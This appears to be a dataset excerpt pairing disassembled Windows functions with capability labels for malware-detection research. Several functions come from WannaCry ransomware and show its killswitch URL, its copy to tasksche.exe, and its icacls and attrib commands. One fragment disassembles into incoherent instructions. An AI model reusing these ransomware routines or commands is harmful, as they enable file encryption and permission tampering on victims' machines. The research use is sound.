joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4055a6
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x40f318], esi
push edi
jne 0x4055c6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x40f314], esi
mov byte [0x40f310], al
jne 0x40562c
mov ecx, dword [0x410750]
test ecx, ecx
je 0x40560d
mov eax, dword [0x41074c]
sub eax, 4
cmp eax, ecx
jmp 0x405606
mov eax, dword [eax]
test eax, eax
je 0x4055f8
call eax
mov eax, dword [0x41074c]
sub eax, 4
cmp eax, dword [0x410750]
mov dword [0x41074c], eax
jae 0x4055f0
mov eax, 0x40e024
mov esi, 0x40e02c
cmp eax, esi
mov edi, eax
jae 0x40562c
mov eax, dword [edi]
test eax, eax
je 0x405625
call eax
add edi, 4
cmp edi, esi
jb 0x40561d
mov eax, 0x40e030
mov esi, 0x40e034
cmp eax, esi
mov edi, eax
jae 0x40564b
mov eax, dword [edi]
test eax, eax
je 0x405644
call eax
add edi, 4
cmp edi, esi
jb 0x40563c
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x405666
push dword [ebp + 8]
mov dword [0x40f318], 1
call fcn.00405511
pop ecx
pop ebp
ret

Function at 0x406901
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x40e0a8]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 4], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x40e0f0]
je 0x40692e
inc eax
cmp eax, 0x12
jb 0x40691f
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x40e0f0]
jne 0x406a62
mov eax, dword [0x40f2c8]
cmp eax, 1
je 0x406a3d
cmp eax, edx
jne 0x40695e
cmp dword [0x40e0c4], 1
je 0x406a3d
cmp ecx, 0xfc
je 0x406a62
push 0x104
lea eax, [ebp - 0x10c]
push eax
push edx
mov byte [ebp - 8], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x406997
lea eax, [ebp - 0x10c]
push str._program_name_unknown_
push eax
call fcn.00408f60
pop ecx
pop ecx
lea eax, [ebp - 0x10c]
push eax
lea edi, [ebp - 0x10c]
call fcn.00409190
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4069d9
lea eax, [ebp - 0x10c]
push eax
call fcn.00409190
mov edi, eax
lea eax, [ebp - 0x10c]
sub eax, 0x3b
push 3
add edi, eax
push 0x40c648
push edi
call fcn.00409060
add esp, 0x10
push edi
call fcn.00409190
push dword [esi + 0x40e0f4]
mov ebx, eax
call fcn.00409190
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00407180
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00408f60
push edi
push ebx
call fcn.00408f70
push 0x40c644
push ebx
call fcn.00408f70
push dword [esi + 0x40e0f4]
push ebx
call fcn.00408f70
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00408e5f
add esp, 0x2c
jmp 0x406a62
push edx
lea eax, [ebp + 8]
push eax
lea esi, [esi + 0x40e0f4]
push dword [esi]
call fcn.00409190
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x118]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
call fcn.00403e2f
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407f24
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x40e0a8]
xor eax, dword [ebp + 4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [0x410758]
push ebx
push esi
mov dword [ebp - 4], eax
push edi
jae 0x4080b4
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x410760]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x18], ebx
je 0x4080b4
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x14], edi
jne 0x407f83
xor eax, eax
jmp 0x4080c8
test al, 0x20
je 0x407f94
push 2
push edi
push edi
push ecx
call fcn.0040a2cf
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x408050
cmp dword [ebp + 0x10], edi
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov dword [ebp + 8], edi
jbe 0x408088
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x41c]
cmp ecx, dword [ebp + 0x10]
jae 0x407fea
mov edx, dword [ebp - 8]
inc dword [ebp - 8]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x407fdb
inc dword [ebp - 0x14]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x18]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x407fc0
mov edi, eax
lea eax, [ebp - 0x41c]
sub edi, eax
push 0
lea eax, [ebp - 0x10]
push eax
push edi
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40802a
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
cmp eax, edi
jl 0x408033
mov eax, dword [ebp - 8]
sub eax, dword [ebp + 0xc]
xor edi, edi
cmp eax, dword [ebp + 0x10]
jb 0x407fb4
jmp 0x408035
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
cmp eax, edi
jne 0x4080af
cmp dword [ebp + 8], edi
je 0x408088
push 5
pop eax
cmp dword [ebp + 8], eax
jne 0x40807d
mov dword [0x40f2d0], eax
jmp 0x4080bb
push edi
lea ecx, [ebp - 0x10]
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x408072
mov eax, dword [ebp - 0x10]
mov dword [ebp + 8], edi
mov dword [ebp - 0xc], eax
jmp 0x408035
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
jmp 0x408035
push dword [ebp + 8]
call fcn.00407cfb
pop ecx
jmp 0x4080c5
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x40809d
mov eax, dword [ebp + 0xc]
cmp byte [eax], 0x1a
je 0x407f7c
mov dword [0x40f2cc], 0x1c
mov dword [0x40f2d0], edi
jmp 0x4080c5
sub eax, dword [ebp - 0x14]
jmp 0x4080c8
and dword [0x40f2d0], 0
mov dword [0x40f2cc], 9
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop edi
pop esi
pop ebx
call fcn.00403e2f
leave
ret
Function at 0x408510
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.00407180
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4085a5
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [0x40f2d8]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x4085a5
cmp eax, 1
je 0x4085bd
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4085a5
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x40857a
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x4085a1
xor eax, eax
inc eax
jmp 0x4085d9
cmp esi, ebx
jae 0x4085a9
xor eax, eax
jmp 0x4085d9
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40f2d8]
jmp 0x4085bf
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408e5f
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40f45c], ebx
push esi
push edi
jne 0x408edf
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x408f1a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40d08c
push edi
call esi
test eax, eax
mov dword [0x40f45c], eax
je 0x408f1a
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x40f460], eax
call esi
cmp dword [0x40f2d8], 2
mov dword [0x40f464], eax
jne 0x408edf
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40f46c], eax
je 0x408edf
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x40f468], eax
mov eax, dword [0x40f468]
test eax, eax
je 0x408f24
call eax
test eax, eax
je 0x408f0b
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40f46c]
test eax, eax
je 0x408f0b
test byte [ebp - 8], 1
jne 0x408f24
cmp dword [0x40f2e4], 4
jb 0x408f1e
or byte [ebp + 0x12], 0x20
jmp 0x408f43
xor eax, eax
jmp 0x408f53
or byte [ebp + 0x12], 4
jmp 0x408f43
mov eax, dword [0x40f460]
test eax, eax
je 0x408f43
call eax
mov ebx, eax
test ebx, ebx
je 0x408f43
mov eax, dword [0x40f464]
test eax, eax
je 0x408f43
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40f45c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a441
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 8]
cmp esi, dword [0x410758]
push edi
jae 0x40a608
mov eax, esi
sar eax, 5
lea ebx, [eax*4 + 0x410760]
mov eax, dword [ebx]
and esi, 0x1f
shl esi, 3
add eax, esi
mov dl, byte [eax + 4]
test dl, 1
je 0x40a608
and dword [ebp - 0xc], 0
cmp dword [ebp + 0x10], 0
mov edi, dword [ebp + 0xc]
mov ecx, edi
je 0x40a4e7
test dl, 2
jne 0x40a4e7
test dl, 0x48
je 0x40a4b1
mov al, byte [eax + 5]
cmp al, 0xa
je 0x40a4b1
dec dword [ebp + 0x10]
mov byte [edi], al
mov eax, dword [ebx]
lea ecx, [edi + 1]
mov dword [ebp - 0xc], 1
mov byte [eax + esi + 5], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
mov eax, dword [ebx]
push ecx
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40a4fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 5
pop ecx
cmp eax, ecx
jne 0x40a4e2
mov dword [0x40f2d0], ecx
jmp 0x40a60f
cmp eax, 0x6d
jne 0x40a4ee
xor eax, eax
jmp 0x40a61c
push eax
call fcn.00407cfb
pop ecx
jmp 0x40a619
mov eax, dword [ebx]
mov edx, dword [ebp - 0x10]
add dword [ebp - 0xc], edx
lea ecx, [eax + esi + 4]
mov al, byte [ecx]
test al, al
jns 0x40a603
test edx, edx
je 0x40a51d
cmp byte [edi], 0xa
jne 0x40a51d
or al, 4
jmp 0x40a51f
and al, 0xfb
mov byte [ecx], al
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
add ecx, eax
cmp eax, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
jae 0x40a5fd
mov eax, dword [ebp - 8]
mov al, byte [eax]
cmp al, 0x1a
je 0x40a5ed
cmp al, 0xd
je 0x40a553
mov byte [edi], al
inc edi
inc dword [ebp - 8]
jmp 0x40a5df
dec ecx
cmp dword [ebp - 8], ecx
jae 0x40a56d
mov eax, dword [ebp - 8]
inc eax
cmp byte [eax], 0xa
jne 0x40a568
add dword [ebp - 8], 2
jmp 0x40a5c1
mov dword [ebp - 8], eax
jmp 0x40a5db
inc dword [ebp - 8]
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40a595
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40a5db
cmp dword [ebp - 0x10], 0
je 0x40a5db
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x48
je 0x40a5b6
mov al, byte [ebp - 1]
cmp al, 0xa
je 0x40a5c1
mov byte [edi], 0xd
mov ecx, dword [ebx]
mov byte [ecx + esi + 5], al
jmp 0x40a5de
cmp edi, dword [ebp + 0xc]
jne 0x40a5c6
cmp byte [ebp - 1], 0xa
jne 0x40a5c6
mov byte [edi], 0xa
jmp 0x40a5de
push 1
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00404590
add esp, 0xc
cmp byte [ebp - 1], 0xa
je 0x40a5df
mov byte [edi], 0xd
inc edi
mov ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], ecx
jb 0x40a537
jmp 0x40a5fd
mov eax, dword [ebx]
lea esi, [eax + esi + 4]
mov al, byte [esi]
test al, 0x40
jne 0x40a5fd
or al, 2
mov byte [esi], al
sub edi, dword [ebp + 0xc]
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 0xc]
jmp 0x40a61c
and dword [0x40f2d0], 0
mov dword [0x40f2cc], 9
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a621
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00407180
mov eax, dword [0x40e0a8]
xor eax, dword [ebp + 4]
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
cmp ebx, dword [0x410758]
mov dword [ebp - 4], eax
jae 0x40a761
mov eax, ebx
sar eax, 5
mov eax, dword [eax*4 + 0x410760]
mov ecx, ebx
and ecx, 0x1f
test byte [eax + ecx*8 + 4], 1
je 0x40a761
push 1
push esi
push ebx
call fcn.00404590
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x40a76b
push 2
push esi
push ebx
call fcn.00404590
add esp, 0xc
cmp eax, 0xffffffff
je 0x40a76b
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x40a70e
push 0x1000
lea eax, [ebp - 0x1008]
push esi
push eax
call fcn.004084b0
push 0x8000
push ebx
call fcn.0040b721
add esp, 0x14
mov dword [ebp + 8], eax
mov eax, 0x1000
cmp edi, eax
jge 0x40a6cd
mov eax, edi
push eax
lea eax, [ebp - 0x1008]
push eax
push ebx
call fcn.00407f24
add esp, 0xc
cmp eax, 0xffffffff
je 0x40a6eb
sub edi, eax
test edi, edi
jg 0x40a6c2
jmp 0x40a701
cmp dword [0x40f2d0], 5
jne 0x40a6fe
mov dword [0x40f2cc], 0xd
or esi, 0xffffffff
push dword [ebp + 8]
push ebx
call fcn.0040b721
pop ecx
pop ecx
jmp 0x40a74e
jge 0x40a74e
push 0
push dword [ebp + 0xc]
push ebx
call fcn.00404590
push ebx
call fcn.00407ee8
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0xffffffff
jne 0x40a74e
mov dword [0x40f2cc], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x40f2d0], eax
push 0
push dword [ebp - 8]
push ebx
call fcn.00404590
add esp, 0xc
mov eax, esi
pop edi
jmp 0x40a76e
mov dword [0x40f2cc], 9
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop esi
pop ebx
call fcn.00403e2f
leave
ret
Function at 0x401e7d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ebc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ebc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ebc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ebc
cmp dword [ecx + 0x74], 0xe
jbe 0x401ebc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
jne 0x4081a7
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10

Function at 0x4056f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
in al, dx
mov ecx, dword [ebp - 0x4f]
mov eax, dword [esi]
test eax, eax
je 0x405711
mov ecx, dword [eax]
and eax, 0x4508bff
push edx
xor edx, dword [eax + 8]
mov esp, dword [edx]
add esp, 4
test eax, eax
jne 0x4056fd
pop esi
pop ebp
imul edi, ecx, 0xffffff90
sub dl, byte [eax - 0x6f6f6f70]
nop
nop
loope 0x4056b0
xor eax, eax
ret
Function at 0x401fe7
Capabilities:
Check if file exists
Copy file
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6e4
mov al, byte [0x40f910]
push ebx
push esi
push edi
mov byte [ebp - 0x20c], al
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
push 0x208
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40f8ac
call fcn.00401225
pop ecx
call dword [sym.imp.MSVCRT.dll___p___argc]
cmp dword [eax], 2
jne 0x40208e
push 0x40f538
call dword [sym.imp.MSVCRT.dll___p___argv]
mov eax, dword [eax]
push dword [eax + 4]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40208e
push ebx
call fcn.00401b5f
test eax, eax
pop ecx
je 0x40208e
mov esi, str.tasksche.exe
push ebx
lea eax, [ebp - 0x20c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40208e
call fcn.00401f5d
test eax, eax
jne 0x402165
mov esi, dword [sym.imp.MSVCRT.dll_strrchr]
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call esi
pop ecx
test eax, eax
pop ecx
je 0x4020b4
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call esi
pop ecx
mov byte [eax], bl
pop ecx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 1
call fcn.004010fd
mov dword [esp], str.WNcry_2ol7
push ebx
call fcn.00401dab
call fcn.00401e9e
push ebx
push ebx
push str.attrib_h_.
call fcn.00401064
push ebx
push ebx
push str.icacls_.__grant_Everyone:F__T__C__Q
call fcn.00401064
add esp, 0x20
call fcn.0040170a
test eax, eax
je 0x402165
lea ecx, [ebp - 0x6e4]
call fcn.004012fd
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x6e4]
call fcn.00401437
test eax, eax
je 0x40215a
lea eax, [ebp - 4]
lea ecx, [ebp - 0x6e4]
push eax
push 0x40f4f4
mov dword [ebp - 4], ebx
call fcn.004014a6
cmp eax, ebx
je 0x40215a
push dword [ebp - 4]
push eax
call fcn.004021bd
pop ecx
cmp eax, ebx
pop ecx
je 0x40215a
push str.TaskStart
push eax
call fcn.00402924
pop ecx
cmp eax, ebx
pop ecx
je 0x40215a
push ebx
push ebx
call eax
lea ecx, [ebp - 0x6e4]
call fcn.0040137a
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x403d30
Capabilities:
Read file on windows

Disassembly:
cmp dword [esi + 8], 0
push ebp
mov ebp, dword [esp + 8]
push edi
je 0x403d99
xor edi, edi
test ebx, ebx
jbe 0x403d5e
mov eax, dword [esi + 0xc]
cmp eax, dword [esi + 8]
je 0x403d6c
mov edx, dword [esi + 0xc]
mov ecx, dword [esi + 4]
mov al, byte [ecx + edx]
mov byte [edi + ebp], al
inc dword [esi + 0xc]
inc edi
cmp edi, ebx
jb 0x403d42
add dword [esi + 0x10], edi
mov eax, edi
pop edi
adc dword [esi + 0x14], 0
pop ebp
ret 4
mov edx, dword [esi + 4]
mov eax, dword [esi]
push 0
lea ecx, [esp + 0x10]
push ecx
push 0x10000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x403d5e
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0
jmp 0x403d4a
push esi
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call fcn.0040df50
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], edx
jmp 0x403d3c
Function at 0x40d4e0
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
sub esp, 0x438
push ebx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x20]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push edi
call fcn.00401f70
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4313b7
mov eax, dword [0x4a6cfc]
test eax, eax
je 0x4313d0
mov byte [esp + 0xf], 0
mov esi, 0x4a7e80
cmp eax, 1
je 0x4313e4
push 0x4a6cfc
lea ecx, [esp + 0x13]
mov eax, 0x4a6d14
call fcn.0040f100
test al, al
je 0x431405
mov dl, byte [0x4a7e80]
mov bl, byte [0x4a7e81]
push 0x4a6cf8
lea eax, [esp + 0x234]
push eax
push 0x104
push 0x4a6d14
mov byte [0x4a6d00], dl
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov ecx, dword [0x4a6cfc]
push ecx
push 0x4a6d14
call fcn.00401440
test eax, eax
jne 0x431419
cmp bl, 1
je 0x43143d
call fcn.0040ff60
call fcn.00410150
cmp byte [0x4a6d00], 0
jne 0x40d5b8
mov esi, 0x4a74b8
call fcn.0040dfa0
push 1
mov ecx, 0x4a6f20
call fcn.00409520
cmp byte [0x4a6d00], 0
jne 0x40d5d7
mov ecx, 0x4a74b8
call fcn.00401000
mov ebx, 0x4a7e80
call fcn.0040e940
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
pop edi
pop esi
pop ebx
add esp, 0x438
ret
push 0x10
push 0x4836d6
push str.This_is_a_compiled_AutoIt_script._AV_researchers_please_email_avsupport_autoitscript.com_for_support.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40d5ec
lea ecx, [esp + 0x20]
mov dword [0x49629c], 0xffffffff
push ecx
jmp 0x40d5e6
mov edx, dword [0x4a6d04]
push 0xffffffffffffffff
push edx
push 1
xor bl, bl
call fcn.00403e80
mov al, byte [0x496290]
mov byte [0x4a7e83], al
jmp 0x40d579
lea ecx, [esp + 0x20]
mov dword [0x49629c], 1
push ecx
jmp 0x40d5e6
mov ebx, 0x4a7e80
call fcn.0040e940
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [0x49629c], 1
jmp 0x40d5ec
call fcn.004358ea
test al, al
jne 0x40d59b
push 0x104
lea eax, [esp + 0x234]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp byte [esp + 0xf], 0
je 0x4314be
mov edi, 0x483740
lea esi, [esp + 0x10]
call fcn.00401b60
mov edi, 0x4a6d14
mov eax, esi
call fcn.0040d160
mov edi, 0x483740
mov eax, esi
call fcn.0040d160
mov edx, dword [esp + 0x10]
push 1
lea ecx, [esp + 0x24]
push ecx
push edx
lea eax, [esp + 0x23c]
push eax
push 0x483744
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, esi
call fcn.00402610
jmp 0x40d5d7
push 1
lea ecx, [esp + 0x24]
push ecx
push edi
lea edx, [esp + 0x23c]
push edx
push 0x483744
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x40d5d7
Function at 0x40ee60
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov eax, dword [esp + 0x14]
lea ecx, [eax + eax]
lea eax, [esp]
push eax
xor edx, edx
push 1
push edx
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x18]
mov word [esi], dx
mov edx, dword [esp + 0x14]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40eeaf
mov ecx, dword [esp + 0x10]
mov edx, dword [esp]
lea eax, [esp + 0x14]
push eax
push esi
push 0
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret